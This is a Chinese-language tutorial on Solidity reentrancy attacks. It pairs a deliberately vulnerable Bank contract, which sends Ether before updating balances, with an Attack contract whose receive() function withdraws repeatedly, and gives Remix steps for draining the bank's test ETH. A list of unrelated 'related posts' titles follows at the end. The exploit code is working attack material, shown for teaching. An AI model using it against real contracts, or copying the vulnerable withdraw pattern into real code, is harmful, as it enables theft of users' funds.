任何从合约 A 到合约 B 的交互以及任何从合约 A 到合约 B 的 以太币Ether 的转移,都会将控制权交给合约 B。 这使得合约 B 能够在交互结束前回调 A 中的代码。

在合约中运用转账调用call方法,可以消耗完所有的gas,而send和transfer只消耗2300。

为了便面重入,可以使用“检查-生效-交互”(Checks-Effects-Interactions)模式,或者加锁限制:

以下两个合约模拟了攻击者和受害者,通过重入攻击,获得了受害者所有的ETH。

pragma solidity >=0.7.0 <=0.8.0;
// SPDX-License-Identifier: MITcontract Bank {uint256 constant public ethLower = 1 ether;uint256 constant public ethUpper = 5 ether;mapping(address => uint256) balances;event depositEth(address sender,uint256 value);event withdrawEth(address sender,uint256 value);function depositEther() payable public{require(msg.value >= ethLower);require(msg.value <= ethUpper);balances[msg.sender] += msg.value;emit depositEth(msg.sender,msg.value);}function withdraw(uint256 amount) public{require(balances[msg.sender] >= amount);msg.sender.call{value: amount}("");balances[msg.sender] -= amount;emit withdrawEth(msg.sender,amount);}function withdraw() public {msg.sender.transfer(address(this).balance);}function getBalance(address addr) public view returns(uint256){return balances[addr];}function getTotal() public view returns(uint256){return address(this).balance;}}
pragma solidity >=0.7.0 <=0.8.0;
// SPDX-License-Identifier: MITinterface IRC20 {function depositEther() external payable;function withdraw(uint256 amount) external;function getBalance(address addr) external view returns(uint256);}contract Attack {address constant private addr = 0x78E74b14512f2f9d3C26aeE24d902Fef10F46d72;IRC20 private tract;event withdrawEth(address sender,uint256 value);constructor(){tract = IRC20(addr);}function getBalance() public view returns(uint){return address(this).balance;}function despoit() public payable{tract.depositEther{value:2 ether}();tract.withdraw(1 ether);}function withdraw() public {msg.sender.transfer(address(this).balance);}receive() external payable {uint256 amount = tract.getBalance(address(this));emit withdrawEth(msg.sender,amount);if( amount >= 1 ether ){tract.withdraw(1 ether);}}}

步骤:1. 通过remix创建合约bank(B)和attack(C).

2.通过地址A向合约B 2次转账10ETH。此时合约B余额为10ETH。

3.通过地址A向合约C转账2ETH。此时合约C余额为2ETH。

4.通过合约C方法,往合约B中存入2ETH,触发提现,提取B全部的ETH。这个步骤gaslimit要给足,不然会失败。

5,B和C合约所有测试ETH都可以通过提现方法提出来。

参考:

https://learnblockchain.cn/docs/solidity/security-considerations.html#re-entance

solidity 重入攻击测试相关推荐

  1. Solidity重入攻击深入理解

    始于一份样例代码 下面是样例合约的完整代码: pragma solidity ^0.4.23;contract babybank {mapping(address => uint) public ...

  2. 区块链的安全问题(乱序时间戳,重入攻击)

    原文链接:郭老师的备课资料 在引入比特币等加密货币时,一个经常提及的概念是支撑着这些加密货币的底层框架--区块链协议非常地安全可靠.各种加密算法保证了区块链的正常运行,区块链中的信息不可篡改.不能删除 ...

  3. 创宇区块链|Rari Capital 遭受重入攻击,损失超 8000 万美元

    前言 北京时间 2022 年 4 月 30 日,知道创宇区块链安全实验室 监测到以太坊上 feiprotocol 和 RariCapital 协议中的多个池子遭到重入攻击,导致损失超 8000 万美元 ...

  4. 区块链骇客第一讲:重入攻击

    本篇文章开启区块链骇客专栏的第一讲,让我决心开写本专栏的首要原因是对未来的职业选择有了一个确定的规划. 日后的更新频率将会不小于等于每周一讲,欢迎各位读者监督和指正,一起学习一同进步!

  5. 创宇区块链 | 黑客利用重入漏洞盗币,Ola_finance 攻击事件分析

    1. 前言 北京时间 2022 年 3 月 31 日,知道创宇区块链安全实验室 监测到借贷平台 Ola_finance 遭到重入攻击,黑客窃取 216964.18 USDC.507216.68 BUS ...

  6. Java 中可重入锁、不可重入锁的测试

    可重入锁 指在同一个线程在外层方法获取锁的时候,进入内层方法会自动获取锁. 为了避免死锁的发生,JDK 中基本都是可重入锁. 下面我们来测试一下 synchronized 和  java.util.c ...

  7. 详解ReentrantLock为什么是可重入锁

    1 缘起 有一次,公司有人在面试,路过时,听到面试官问到了锁, 让面试者聊一聊用到的锁, 我此时,也是心里一震, 我用过哪些锁?为什么使用? 搜索了好一会儿,哈哈哈,我就是这么菜. 只学习过synch ...

  8. 可重入锁与非可重入锁

    文章目录 锁的分类 什么是可重入锁 测试lock 锁的可重入性 不可重入锁 锁的分类 什么是可重入锁 可重入锁又名递归锁,是指在同一个线程在外层方法获取锁的时候,再进入该线程的内层方法会自动获取锁(前 ...

  9. 测试Lock锁-可重入锁(Java)

    测试Lock锁-可重入锁(Java) package src.thread;import java.util.concurrent.locks.ReentrantLock;public class T ...

  10. (转)编写可重入和线程安全的代码(Writing Reentrant and Thread-Safe Code)

    Writing Reentrant and Thread-Safe Code 原文地址: http:/unet.univie.ac.at/aix/aixprggd/genprogc/writing_r ...

最新文章

  1. 武汉城市职业学院计算机分数线,武汉城市职业学院录取分数线2021是多少分(附历年录取分数线)...
  2. MySql 基于C_API的数据库封装
  3. java 左边补0_java基础知识
  4. webservice的css哪里添加,jQuery_XML+XSLT+CSS+JQuery+WebService组建Asp.Net网(2), 3.       更 - phpStudy...
  5. IT人应当知道的10个行业小内幕
  6. 极大似然估计、拉普拉斯平滑定理、M-估计详解
  7. 水滴石穿之子页面的滚动条设置 表格的固定高度宽度问题 复制带格式的文本...
  8. Android ListView
  9. 循环数组实现队列的四种方式
  10. 社会工程学利用的人性_社会工程学利用的人性弱点包括
  11. mysql 唯一性榆树_榆树有多少种
  12. 随着年龄增长,我应该怎样对抗肌肉流失?
  13. 那些惊艳了岁月的诗词
  14. 计算机网络-学习笔记
  15. svg 使用path实现圆角效果
  16. JavaScript ES12新特性抢先体验
  17. cudnn升级方法,解决CuDNN版本不兼容问题
  18. 构建meteor应用程序_如果要构建安全的树屋(或软件应用程序),请从底部开始
  19. html图片自动切换的幻灯片效果的,jQuery实现可自动切换的幻灯片效果插件代码...
  20. stm32获取芯片的96位ID

热门文章

  1. matlab分离实部虚部,MATLAB/simulink中,想让电流表测出的值为复数形式,有实部虚部,将powergui设置为phasors仿真,总是出错...
  2. mysql 过滤微信昵称表情符号_js 过滤微信昵称的表情符号
  3. 。快充的原理有三种:电压不变、提升电流,电流不变,提升电压,电流电压两者都提高。要想达到这三种方式的其中一种,我们都需要对充电头和充电线进行掌控。
  4. 帧中继网配置实例学习记录
  5. 微信公众号模板用postman消息接口返回40008
  6. 2021亚洲最佳职场中国大陆区企业公布:工业富联、特斯拉等上榜;黑人牙膏将更名为好来 | 美通社头条...
  7. 链路状态路由协议-OSPF
  8. MT-考试座位-颜色排序
  9. 分库分表学习总结(1)——数据库中间件MyCat学习总结之MyCat入门简介
  10. 直流斩波电路在matlab中的建模与仿真,毕业设计直流斩波电路的MATLAB建模与仿真...